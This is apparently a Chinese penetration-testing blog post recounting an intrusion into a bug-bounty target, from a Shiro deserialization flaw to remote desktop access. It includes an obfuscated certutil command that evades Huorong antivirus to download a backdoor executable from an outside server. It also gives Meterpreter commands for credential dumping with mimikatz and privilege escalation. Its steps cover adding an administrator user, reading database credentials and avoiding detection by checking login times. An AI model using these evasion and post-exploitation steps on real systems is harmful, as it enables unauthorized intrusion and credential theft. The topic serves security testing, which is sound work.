记一次Shiro反序列化到远程桌面

首先在奇安信hunter上搜索找到该SRC的有关资产(具体我就不放了),然后通过微步来搜索子域名找到今天的测试站点。


然后利用xray中检测到该站点存在Shiro反序列化漏洞


于是考虑直接用feihong的反序列话工具,但是这次feihong的反序列化工具只检测出key,gatget没有检测出来,咨询了同事琛哥后,故考虑到是因为工具很久没更新,需要找一条CB的链,啪的一下回车

直接开冲,先看下系统中是否存在杀毒软件,一目了然,系统中存在火绒杀毒软件。



在确定了目标系统存在火绒后我第一时间尝试了hta上线,相关文章内容:记一次绕过火绒安全提权实战案例

不过很可惜这个方法我在本地多次尝试后发现火绒已经对这个方法进行了拦截和查杀。

后续和3h师傅交流应该是对文件的特征进行了查杀,不过也没有在深一步探索绕过的方法。


题外话:这里测试的时候有一个小坑,感觉是工具的问题,工具在执行需要大量回显的数据包时会卡死,需要重新启动工具再执行一次命令才行。

这里绕过火绒选择了certutil远程下载方式,常规的cerutil直接下载肯定是不行的,于是想到了以前群里有师傅发过的变形版的certutil绕过方式。在本地测试后发现火绒没有拦截该命令,此时激动的小手已经焦躁不安。

"c""e""r""t""u""t""i""l" -"u""r""l""c""a""c""h""e" -split -f https://url/1.exe 1.exe

题外话:发现目标系统不解析我vps的IP,搞得我晚上凌晨还在四处找人要VPS,感觉还是得随时准备一台国内的vps和国外的一台vps。

在找到vps后,先在工具上ping了一下vps的IP地址


可以解析到ip美滋滋,不过在下载之前还是最好看看目标服务器最近的登陆时间,以免被发现

直接开冲,首先在vps上启动一个临时的python web,命令如下。

python -m SimpleHTTPServer 8888

然后先在本地测试一下,看看可不可以下载下来,OK,没问题!

现在直接到工具中在目标系统上执行,成功落地到当前路径下。


执行dir命令查看是否成功下载到当前目录下

运行文件后上线

查看系统版本

因为是高版本所以获取不到明文信息

所以还有两个办法去远程连接, 一个是上传远控软件,另外一个就是直接添加用户。

先看第一个吧,使用截屏命令看看是否处于锁屏状态


由此可以判断当前机器应该是在锁屏中,所以这里只能我们自己添加一个用户上去。因为机器中存在火绒,所以还需要bypass火绒添加用户上去,方法我就暂时不放出来了(还请各位师傅见谅哈)

用户加入完成后就可以进行远程桌面连接了

现在即可进行连接了

然后进来后翻到了一个配置文件,里面有数据库的信息

Mysql连接看看

总结

1.通过xray被动扫描探测出目标系统存在shiro反序化漏洞
2.先利用feihong的反序列话工具,但是这次feihong的反序列化工具只检测出key,gatget没有检测出来
3.通过shiro_attack-4.5-SNAPSHOT-all可成功反弹出目标系统shell(这里使用commonsBeanutils利用链)
4.首先执行命令个taslist/svc,通过Windows提权辅助工具(https://github.com/Ruiruigo/WinEXP或者https://i.hacking8.com/tiquan)。查询到
usysdiag.exe进程是火绒
5.通过变形版的certutil绕过火绒进行文件下载,可下载后门文件到目标系统中。
"c""e""r""t""u""t""i""l" -"u""r""l""c""a""c""h""e"  -split  -f  https://url/1.exe 1.exe
6.在自己VPS上通过MSF生成反弹shell的后门文件123.exe(这里生成的123.exe需要免杀)
7.在自己的VPS上搭建http服务,并将123.exe放在运行SimpleHTTPServer 服务下。
python -m SimpleHTTPServer 8888
8.通过shiro_attack-4.5-SNAPSHOT-all的命令执行功能下载后门,并执行123.exe
"c""e""r""t""u""t""i""l" -"u""r""l""c""a""c""h""e"  -split  -f  https://url/123.exe 123.exe
9.运行文件后上线成功,查看系统版本和补丁以及mimkatz出明文,因为是高版本所以获取不到明文信息
meterpreter>getuid  //显示adminsitro权限
meterpreter>systeminfo  //显示系统补丁
meterpreter>load_kiwi //加载mimikatz
meterpreter>getsystem  // 进行提权
meterpreter>creds_wdigest  //获取hash值
meterpeter>shell  netstat -ano -p tcp | find "3389"   //显示3389端口已开放
10.通过bypass绕过火绒添加用户,并将用户添加到管理员组
12.通过mstsc进行远程桌面登录,并在系统中发现目标网站的数据库配置文件的用户名和密码,这里可以上传格拉斯一句话,然后通过格拉斯自带的数据库管理模块,进行数据连接。

原文链接:


posted @ 2022-01-19 22:57  渗透测试中心  阅读(741)  评论(0编辑  收藏  举报